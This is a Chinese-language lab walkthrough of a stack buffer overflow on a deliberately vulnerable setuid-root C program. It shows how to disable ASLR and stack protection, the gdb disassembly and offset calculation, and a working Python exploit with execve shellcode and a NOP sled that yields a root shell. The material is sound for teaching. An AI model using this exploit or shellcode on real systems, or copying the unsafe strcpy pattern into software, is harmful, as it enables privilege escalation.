(1)漏洞代码
//vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
/* [1] */ char buf[256];
/* [2] */ strcpy(buf,argv[1]);
/* [3] */ printf("Input:%s
",buf);
return 0;
}
编译
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space" gcc -g -fno-stack-protector -z execstack -o vuln vuln.c sudo chown root vuln sudo chgrp root vuln sudo chmod +s vuln
(2)反汇编并绘制出漏洞代码的堆栈布局
gdb-peda$ disass main Dump of assembler code for function main: 0x08048414 <+0>: push ebp 0x08048415 <+1>: mov ebp,esp 0x08048417 <+3>: and esp,0xfffffff0 0x0804841a <+6>: sub esp,0x110 0x08048420 <+12>: mov eax,DWORD PTR [ebp+0xc] 0x08048423 <+15>: add eax,0x4 0x08048426 <+18>: mov eax,DWORD PTR [eax] 0x08048428 <+20>: mov DWORD PTR [esp+0x4],eax 0x0804842c <+24>: lea eax,[esp+0x10] 0x08048430 <+28>: mov DWORD PTR [esp],eax 0x08048433 <+31>: call 0x8048330 <strcpy@plt> 0x08048438 <+36>: mov eax,0x8048530 0x0804843d <+41>: lea edx,[esp+0x10] 0x08048441 <+45>: mov DWORD PTR [esp+0x4],edx 0x08048445 <+49>: mov DWORD PTR [esp],eax 0x08048448 <+52>: call 0x8048320 <printf@plt> 0x0804844d <+57>: mov eax,0x0 0x08048452 <+62>: leave 0x08048453 <+63>: ret End of assembler dump.

(3)当用户输入的内容大于256位时,将溢出目标缓冲区并覆盖堆栈中存储的返回地址。通过发送一系列“A”来测试它。

EBP的值已经变成了四个A
(4)根据堆栈布局,可以尝试输入256个A(buf)+8个A(对齐空间)+4A(EBP)+4个B(返回地址),看是否能覆盖括号里的内容

(5)攻击代码
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
#Stack address where shellcode is copied.
ret_addr = 0xbffff4a0
#Spawn a shell
#execve(/bin/sh)
scode = "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x89xe2x53x89xe1xb0x0bxcdx80"
#endianess convertion
def conv(num):
return struct.pack("<I",num)#nk + RA + NOP's + Shellcode
buf = "A" * 268
buf += conv(ret_addr)
buf += "x90" * 100
buf += scode
print "Calling vulnerable program"
call(["./vuln", buf])
将攻击代码改动一下,以准确确定shellcode的地址。

运行

查看内存,可以发现shellcode的起始地址,因此只要保证ret_addr在那100个‘x90’里就可以了。

(6)确定攻击代码,选择ret_addr为0xbffff4a0

运行

获取到root shell权限。